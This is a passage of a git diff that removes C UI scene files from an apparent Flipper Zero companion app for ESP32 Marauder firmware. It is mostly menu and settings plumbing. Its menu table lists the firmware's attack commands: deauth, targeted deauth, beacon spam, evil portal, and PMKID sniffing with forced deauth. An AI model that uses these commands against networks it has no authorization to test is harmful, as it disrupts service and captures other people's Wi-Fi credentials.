wifi_marauder_scene_script_stage_add_probe_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageProbe* stage = - (WifiMarauderScriptStageProbe*)malloc(sizeof(WifiMarauderScriptStageProbe)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_PROBE; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeProbe, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff RAW -static void wifi_marauder_scene_script_stage_add_sniffraw_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffRaw* stage = - (WifiMarauderScriptStageSniffRaw*)malloc(sizeof(WifiMarauderScriptStageSniffRaw)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffRaw, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Beacon -static void - wifi_marauder_scene_script_stage_add_sniffbeacon_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffBeacon* stage = - (WifiMarauderScriptStageSniffBeacon*)malloc(sizeof(WifiMarauderScriptStageSniffBeacon)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffBeacon, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Deauth -static void - wifi_marauder_scene_script_stage_add_sniffdeauth_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffDeauth* stage = - (WifiMarauderScriptStageSniffDeauth*)malloc(sizeof(WifiMarauderScriptStageSniffDeauth)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffDeauth, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Esp -static void wifi_marauder_scene_script_stage_add_sniffesp_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffEsp* stage = - (WifiMarauderScriptStageSniffEsp*)malloc(sizeof(WifiMarauderScriptStageSniffEsp)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffEsp, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff PMKID -static void - wifi_marauder_scene_script_stage_add_sniffpmkid_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffPmkid* stage = - (WifiMarauderScriptStageSniffPmkid*)malloc(sizeof(WifiMarauderScriptStageSniffPmkid)); - stage->channel = 0; - stage->force_deauth = WifiMarauderScriptBooleanTrue; - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffPmkid, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Pwn -static void wifi_marauder_scene_script_stage_add_sniffpwn_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffPwn* stage = - (WifiMarauderScriptStageSniffPwn*)malloc(sizeof(WifiMarauderScriptStageSniffPwn)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffPwn, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Beacon list -static void - wifi_marauder_scene_script_stage_add_beaconlist_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageBeaconList* stage = - (WifiMarauderScriptStageBeaconList*)malloc(sizeof(WifiMarauderScriptStageBeaconList)); - stage->ssids = NULL; - stage->ssid_count = 0; - stage->random_ssids = 0; - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeBeaconList, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Beacon AP -static void wifi_marauder_scene_script_stage_add_beaconap_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageBeaconAp* stage = - (WifiMarauderScriptStageBeaconAp*)malloc(sizeof(WifiMarauderScriptStageBeaconAp)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeBeaconAp, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Exec -static void wifi_marauder_scene_script_stage_add_exec_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageExec* stage = - (WifiMarauderScriptStageExec*)malloc(sizeof(WifiMarauderScriptStageExec)); - stage->command = NULL; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeExec, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Delay -static void wifi_marauder_scene_script_stage_add_delay_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageDelay* stage = - (WifiMarauderScriptStageDelay*)malloc(sizeof(WifiMarauderScriptStageDelay)); - stage->timeout = 0; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeDelay, stage); - scene_manager_previous_scene(app->scene_manager); -} - -void wifi_marauder_scene_script_stage_add_on_enter(void* context) { - WifiMarauderApp* app = context; - Submenu* submenu = app->submenu; - submenu_set_header(submenu, "Add stage"); - - int menu_index = 0; - submenu_add_item( - submenu, "[+] Scan", menu_index++, wifi_marauder_scene_script_stage_add_scan_callback, app); - submenu_add_item( - submenu, - "[+] Select", - menu_index++, - wifi_marauder_scene_script_stage_add_select_callback, - app); - submenu_add_item( - submenu, - "[+] Deauth", - menu_index++, - wifi_marauder_scene_script_stage_add_deauth_callback, - app); - submenu_add_item( - submenu, - "[+] Probe", - menu_index++, - wifi_marauder_scene_script_stage_add_probe_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff RAW", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffraw_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Beacon", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffbeacon_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Deauth", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffdeauth_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Esp", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffesp_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff PMKID", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffpmkid_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Pwnagotchi", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffpwn_callback, - app); - submenu_add_item( - submenu, - "[+] Beacon List", - menu_index++, - wifi_marauder_scene_script_stage_add_beaconlist_callback, - app); - submenu_add_item( - submenu, - "[+] Beacon AP", - menu_index++, - wifi_marauder_scene_script_stage_add_beaconap_callback, - app); - submenu_add_item( - submenu, - "[+] Custom command", - menu_index++, - wifi_marauder_scene_script_stage_add_exec_callback, - app); - submenu_add_item( - submenu, - "[+] Delay", - menu_index++, - wifi_marauder_scene_script_stage_add_delay_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_stage_add_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_stage_add_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_stage_edit.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_stage_edit.c deleted file mode 100644 index b8581e3e7..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_script_stage_edit.c +++ /dev/null @@ -1,203 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_script_stage_edit_create_list_strings( - WifiMarauderApp* app, - char** strings, - int string_count) { - // Deallocates the existing list - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - while(current_item != NULL) { - WifiMarauderScriptStageListItem* next_item = current_item->next_item; - free(current_item->value); - free(current_item); - current_item = next_item; - } - - // Create a new list with numbers - WifiMarauderScriptStageListItem* first_item = NULL; - WifiMarauderScriptStageListItem* previous_item = NULL; - for(int i = 0; i < string_count; i++) { - WifiMarauderScriptStageListItem* item = malloc(sizeof(WifiMarauderScriptStageListItem)); - item->value = strdup(strings[i]); - item->next_item = NULL; - - if(previous_item == NULL) { - first_item = item; - } else { - previous_item->next_item = item; - } - previous_item = item; - } - - app->script_stage_edit_first_item = first_item; -} - -void wifi_marauder_scene_script_stage_edit_create_list_numbers( - WifiMarauderApp* app, - int* numbers, - int number_count) { - // Deallocates the existing list - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - while(current_item != NULL) { - WifiMarauderScriptStageListItem* next_item = current_item->next_item; - free(current_item->value); - free(current_item); - current_item = next_item; - } - - // Create a new list with numbers - WifiMarauderScriptStageListItem* first_item = NULL; - WifiMarauderScriptStageListItem* previous_item = NULL; - for(int i = 0; i < number_count; i++) { - char number_str[32]; - snprintf(number_str, sizeof(number_str), "%d", numbers[i]); - - WifiMarauderScriptStageListItem* item = malloc(sizeof(WifiMarauderScriptStageListItem)); - item->value = strdup(number_str); - item->next_item = NULL; - - if(previous_item == NULL) { - first_item = item; - } else { - previous_item->next_item = item; - } - previous_item = item; - } - - app->script_stage_edit_first_item = first_item; -} - -static void - wifi_marauder_scene_script_stage_edit_list_enter_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - const WifiMarauderScriptMenuItem* menu_item = &app->script_stage_menu->items[index]; - - // Fixed delete item - if(index == app->script_stage_menu->num_items) { - uint32_t deleted_stage_index = - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit); - if(deleted_stage_index > 0) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneScriptEdit, deleted_stage_index - 1); - } - WifiMarauderScriptStage* previous_stage = NULL; - WifiMarauderScriptStage* current_stage = app->script->first_stage; - uint32_t current_stage_index = 0; - - while(current_stage != NULL && current_stage_index < deleted_stage_index) { - previous_stage = current_stage; - current_stage = current_stage->next_stage; - current_stage_index++; - } - - // Delete the stage - if(current_stage != NULL) { - if(previous_stage != NULL) { - if(current_stage->next_stage != NULL) { - previous_stage->next_stage = current_stage->next_stage; - } else { - previous_stage->next_stage = NULL; - app->script->last_stage = previous_stage; - } - } else { - if(current_stage->next_stage != NULL) { - app->script->first_stage = current_stage->next_stage; - } else { - app->script->first_stage = NULL; - app->script->last_stage = NULL; - } - } - } - app->script_edit_selected_stage = NULL; - - scene_manager_previous_scene(app->scene_manager); - return; - } - - if(menu_item->select_callback == NULL) { - return; - } - if(menu_item->type == WifiMarauderScriptMenuItemTypeNumber) { - // Accepts user number input, assigning the value to the reference passed as a parameter - menu_item->select_callback(app); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - app->user_input_type = WifiMarauderUserInputTypeNumber; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); - } else if(menu_item->type == WifiMarauderScriptMenuItemTypeString) { - // Accepts user string input, assigning the value to the reference passed as a parameter - menu_item->select_callback(app); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - app->user_input_type = WifiMarauderUserInputTypeString; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); - } else if(menu_item->type == WifiMarauderScriptMenuItemTypeListString) { - // Accepts the strings that compose the list - menu_item->select_callback(app); - wifi_marauder_scene_script_stage_edit_create_list_strings( - app, - *app->script_stage_edit_strings_reference, - *app->script_stage_edit_string_count_reference); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageEditList); - } else if(menu_item->type == WifiMarauderScriptMenuItemTypeListNumber) { - // Accepts the numbers that compose the list - menu_item->select_callback(app); - wifi_marauder_scene_script_stage_edit_create_list_numbers( - app, - *app->script_stage_edit_numbers_reference, - *app->script_stage_edit_number_count_reference); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageEditList); - } -} - -void wifi_marauder_scene_script_stage_edit_on_enter(void* context) { - WifiMarauderApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - variable_item_list_set_enter_callback( - app->var_item_list, wifi_marauder_scene_script_stage_edit_list_enter_callback, app); - app->script_stage_menu = - wifi_marauder_script_stage_menu_create(app->script_edit_selected_stage->type); - - if(app->script_stage_menu->items != NULL) { - for(uint32_t i = 0; i < app->script_stage_menu->num_items; i++) { - WifiMarauderScriptMenuItem* stage_item = &app->script_stage_menu->items[i]; - - // Changes the list item to handle it in callbacks - VariableItem* list_item = variable_item_list_add( - app->var_item_list, - stage_item->name, - stage_item->num_options, - stage_item->change_callback, - app); - - variable_item_list_set_selected_item(app->var_item_list, i); - if(stage_item->setup_callback != NULL) { - stage_item->setup_callback(list_item); - } - if(stage_item->change_callback != NULL) { - stage_item->change_callback(list_item); - } - } - } - - variable_item_list_add(app->var_item_list, "[-] DELETE STAGE", 0, NULL, app); - - variable_item_list_set_selected_item( - var_item_list, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); -} - -bool wifi_marauder_scene_script_stage_edit_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_stage_edit_on_exit(void* context) { - WifiMarauderApp* app = context; - wifi_marauder_script_stage_menu_free(app->script_stage_menu); - app->script_stage_menu = NULL; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_settings_init.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_settings_init.c deleted file mode 100644 index 04d099d12..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_settings_init.c +++ /dev/null @@ -1,130 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -const char* Y = "Y"; -const char* N = "N"; - -#define PROMPT_PCAPS 0 -#define PROMPT_LOGS 1 - -void wifi_marauder_scene_settings_init_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - WifiMarauderApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void wifi_marauder_scene_settings_init_setup_widget(WifiMarauderApp* app) { - Widget* widget = app->widget; - - widget_reset(widget); - - widget_add_button_element( - widget, GuiButtonTypeLeft, "No", wifi_marauder_scene_settings_init_widget_callback, app); - widget_add_button_element( - widget, GuiButtonTypeRight, "Yes", wifi_marauder_scene_settings_init_widget_callback, app); - - if(app->which_prompt == PROMPT_PCAPS) { - widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Save pcaps?"); - widget_add_text_scroll_element( - widget, - 0, - 12, - 128, - 38, - "With compatible marauder\nfirmware, you can choose to\nsave captures (pcaps) to the\nflipper sd card here:\n" MARAUDER_APP_FOLDER_USER_PCAPS - "\n\nYou can change this setting in the app at any time. Would\nyou like to enable this feature now?"); - } else { - widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Save logs?"); - widget_add_text_scroll_element( - widget, - 0, - 12, - 128, - 38, - "This app supports saving text\nlogs of console output to the\nflipper sd card here:\n" MARAUDER_APP_FOLDER_USER_LOGS - "\n\nYou can change this setting in the app at any time. Would\nyou like to enable this feature now?"); - } -} - -void wifi_marauder_scene_settings_init_on_enter(void* context) { - WifiMarauderApp* app = context; - - app->which_prompt = PROMPT_PCAPS; - wifi_marauder_scene_settings_init_setup_widget(app); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); -} - -bool wifi_marauder_scene_settings_init_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - // get which button press: "Yes" or "No" - if(event.event == GuiButtonTypeRight) { - // Yes - if(app->which_prompt == PROMPT_PCAPS) { - app->ok_to_save_pcaps = true; - } else { - app->ok_to_save_logs = true; - } - } else if(event.event == GuiButtonTypeLeft) { - // No - if(app->which_prompt == PROMPT_PCAPS) { - app->ok_to_save_pcaps = false; - } else { - app->ok_to_save_logs = false; - } - } - - // save setting to file, load next widget or scene - if(app->which_prompt == PROMPT_PCAPS) { - if(storage_file_open( - app->save_pcap_setting_file, - SAVE_PCAP_SETTING_FILEPATH, - FSAM_WRITE, - FSOM_CREATE_ALWAYS)) { - const char* ok = app->ok_to_save_pcaps ? Y : N; - storage_file_write(app->save_pcap_setting_file, ok, sizeof(ok)); - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot save settings"); - } - storage_file_close(app->save_pcap_setting_file); - // same scene, different-looking widget - app->which_prompt = PROMPT_LOGS; - wifi_marauder_scene_settings_init_setup_widget(app); - } else { - if(storage_file_open( - app->save_logs_setting_file, - SAVE_LOGS_SETTING_FILEPATH, - FSAM_WRITE, - FSOM_CREATE_ALWAYS)) { - const char* ok = app->ok_to_save_logs ? Y : N; - storage_file_write(app->save_logs_setting_file, ok, sizeof(ok)); - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot save settings"); - } - storage_file_close(app->save_logs_setting_file); - // go back to start scene (main menu) - app->need_to_prompt_settings_init = false; - scene_manager_previous_scene(app->scene_manager); - } - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_settings_init_on_exit(void* context) { - WifiMarauderApp* app = context; - widget_reset(app->widget); - if(storage_file_is_open(app->save_pcap_setting_file)) { - storage_file_close(app->save_pcap_setting_file); - } - if(storage_file_is_open(app->save_logs_setting_file)) { - storage_file_close(app->save_logs_setting_file); - } -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_sniffpmkid_options.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_sniffpmkid_options.c deleted file mode 100644 index 02869030e..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_sniffpmkid_options.c +++ /dev/null @@ -1,117 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -enum SubmenuIndex { - SubmenuIndexPassive, - SubmenuIndexActive, - SubmenuIndexTargetedPassive, - SubmenuIndexTargetedActive, - SubmenuIndexChannelPassive, - SubmenuIndexChannelActive, -}; - -static void wifi_marauder_scene_sniffpmkid_options_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - app->is_custom_tx_string = false; // this will be set if needed by text input - switch(index) { - case SubmenuIndexPassive: - app->selected_tx_string = "sniffpmkid"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexActive: - app->selected_tx_string = "sniffpmkid -d"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexTargetedPassive: - app->selected_tx_string = "sniffpmkid -l"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexTargetedActive: - app->selected_tx_string = "sniffpmkid -d -l"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexChannelPassive: - app->selected_tx_string = "sniffpmkid -c"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneTextInput); - break; - case SubmenuIndexChannelActive: - app->selected_tx_string = "sniffpmkid -d -c"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneTextInput); - break; - } -} - -void wifi_marauder_scene_sniffpmkid_options_on_enter(void* context) { - WifiMarauderApp* app = context; - - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "Sniff PMKID"); - submenu_add_item( - submenu, - "Passive", - SubmenuIndexPassive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "Active (Force Deauth)", - SubmenuIndexActive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "Targeted Passive (List)", - SubmenuIndexTargetedPassive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "Targeted Active (List)", - SubmenuIndexTargetedActive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "On Channel # - Passive", - SubmenuIndexChannelPassive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "On Channel # - Active", - SubmenuIndexChannelActive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - - submenu_set_selected_item( - submenu, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneSniffPmkidOptions)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_sniffpmkid_options_on_event(void* context, SceneManagerEvent event) { - //WifiMarauderApp* app = context; - UNUSED(context); - UNUSED(event); - bool consumed = false; - - return consumed; -} - -void wifi_marauder_scene_sniffpmkid_options_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_start.c deleted file mode 100644 index 68c1fab5c..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_start.c +++ /dev/null @@ -1,314 +0,0 @@ -//** Includes sniffbt and sniffskim for compatible ESP32-WROOM hardware. -//wifi_marauder_app_i.h also changed **// -#include "../wifi_marauder_app_i.h" - -// For each command, define whether additional arguments are needed -// (enabling text input to fill them out), and whether the console -// text box should focus at the start of the output or the end -typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs; - -typedef enum { FOCUS_CONSOLE_END = 0, FOCUS_CONSOLE_START, FOCUS_CONSOLE_TOGGLE } FocusConsole; - -#define SHOW_STOPSCAN_TIP (true) -#define NO_TIP (false) - -#define MAX_OPTIONS (9) -typedef struct { - const char* item_string; - const char* options_menu[MAX_OPTIONS]; - int num_options_menu; - const char* actual_commands[MAX_OPTIONS]; - InputArgs needs_keyboard; - FocusConsole focus_console; - bool show_stopscan_tip; -} WifiMarauderItem; - -// NUM_MENU_ITEMS defined in wifi_marauder_app_i.h - if you add an entry here, increment it! -const WifiMarauderItem items[NUM_MENU_ITEMS] = { - {"View Log from", {"start", "end"}, 2, {"", ""}, NO_ARGS, FOCUS_CONSOLE_TOGGLE, NO_TIP}, - {"Scan", - {"ap", "station"}, - 2, - {"scanap", "scansta"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"SSID", - {"add rand", "add name", "remove"}, - 3, - {"ssid -a -g", "ssid -a -n", "ssid -r"}, - INPUT_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, - {"List", - {"ap", "ssid", "station"}, - 3, - {"list -a", "list -s", "list -c"}, - NO_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, - {"Select", - {"ap", "ssid", "station"}, - 3, - {"select -a", "select -s", "select -c"}, - INPUT_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Clear List", - {"ap", "ssid", "station"}, - 3, - {"clearlist -a", "clearlist -s", "clearlist -c"}, - NO_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Attack", - {"deauth", "probe", "rickroll"}, - 3, - {"attack -t deauth", "attack -t probe", "attack -t rickroll"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - /*{"Wardrive", {""}, 1, {"wardrive"}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP},*/ // No GPS for Wardrive on Mayhem - {"Evil Portal", - {"start"}, - 1, - {"evilportal -c start"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Targeted Deauth", - {"station", "manual"}, - 2, - {"attack -t deauth -c", "attack -t deauth -s"}, - TOGGLE_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Beacon Spam", - {"ap list", "ssid list", "random"}, - 3, - {"attack -t beacon -a", "attack -t beacon -l", "attack -t beacon -r"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Sniff", - {"beacon", "deauth", "pmkid", "probe", "pwn", "raw", "bt", "skim"}, - 8, - {"sniffbeacon", - "sniffdeauth", - "sniffpmkid", - "sniffprobe", - "sniffpwn", - "sniffraw", - "sniffbt", - "sniffskim"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Signal Monitor", {""}, 1, {"sigmon"}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP}, - {"Channel", - {"get", "set"}, - 2, - {"channel", "channel -s"}, - TOGGLE_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - /*{"LED", - {"hex", "pattern"}, - 2, - {"led -s", "led -p"}, - INPUT_ARGS, - FOCUS_CONSOLE_END, - NO_TIP},*/ // No led on mayhem - /*{"GPS Data", - {"stream", "fix", "sats", "lat", "lon", "alt", "date"}, - 7, - {"gpsdata", - "gps -g fix", - "gps -g sat", - "gps -g lat", - "gps -g lon", - "gps -g alt", - "gps -g date"}, - NO_ARGS, - FOCUS_CONSOLE_END, - NO_TIP},*/ // No GPS on Mayhem - {"Camera", - {"photo", "flashlight"}, - 2, - {"photo", "flashlight"}, - NO_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Settings", - {"display", "restore", "ForcePMKID", "ForceProbe", "SavePCAP", /*"EnableLED",*/ "other"}, - 6, - {"settings", - "settings -r", - "settings -s ForcePMKID enable", - "settings -s ForceProbe enable", - "settings -s SavePCAP enable", - /*"settings -s EnableLED enable",*/ - "settings -s"}, - TOGGLE_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, - {"Update", {"sd"}, 1, {"update -s"}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Reboot", {""}, 1, {"reboot"}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Help", {""}, 1, {"help"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, - {"Scripts", {""}, 1, {""}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Save to flipper sdcard", // keep as last entry or change logic in callback below - {""}, - 1, - {""}, - NO_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, -}; - -static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uint32_t index) { - furi_assert(context); - WifiMarauderApp* app = context; - - furi_assert(index < NUM_MENU_ITEMS); - const WifiMarauderItem* item = &items[index]; - - const int selected_option_index = app->selected_option_index[index]; - furi_assert(selected_option_index < item->num_options_menu); - app->selected_tx_string = item->actual_commands[selected_option_index]; - app->is_command = (1 <= index); - app->is_custom_tx_string = false; - app->selected_menu_index = index; - app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE) ? - (selected_option_index == 0) : - item->focus_console; - app->show_stopscan_tip = item->show_stopscan_tip; - - if(!app->is_command && selected_option_index == 0) { - // View Log from start - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartLogViewer); - return; - } - - if(app->selected_tx_string && - strncmp("sniffpmkid", app->selected_tx_string, strlen("sniffpmkid")) == 0) { - // sniffpmkid submenu - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventStartSniffPmkidOptions); - return; - } - - // Select automation script - if(index == NUM_MENU_ITEMS - 2) { - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventStartScriptSelect); - return; - } - - if(index == NUM_MENU_ITEMS - 1) { - // "Save to flipper sdcard" special case - start SettingsInit widget - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventStartSettingsInit); - return; - } - - bool needs_keyboard = (item->needs_keyboard == TOGGLE_ARGS) ? (selected_option_index != 0) : - item->needs_keyboard; - if(needs_keyboard) { - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartKeyboard); - } else { - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole); - } -} - -static void wifi_marauder_scene_start_var_list_change_callback(VariableItem* item) { - furi_assert(item); - - WifiMarauderApp* app = variable_item_get_context(item); - furi_assert(app); - - const WifiMarauderItem* menu_item = &items[app->selected_menu_index]; - uint8_t item_index = variable_item_get_current_value_index(item); - furi_assert(item_index < menu_item->num_options_menu); - 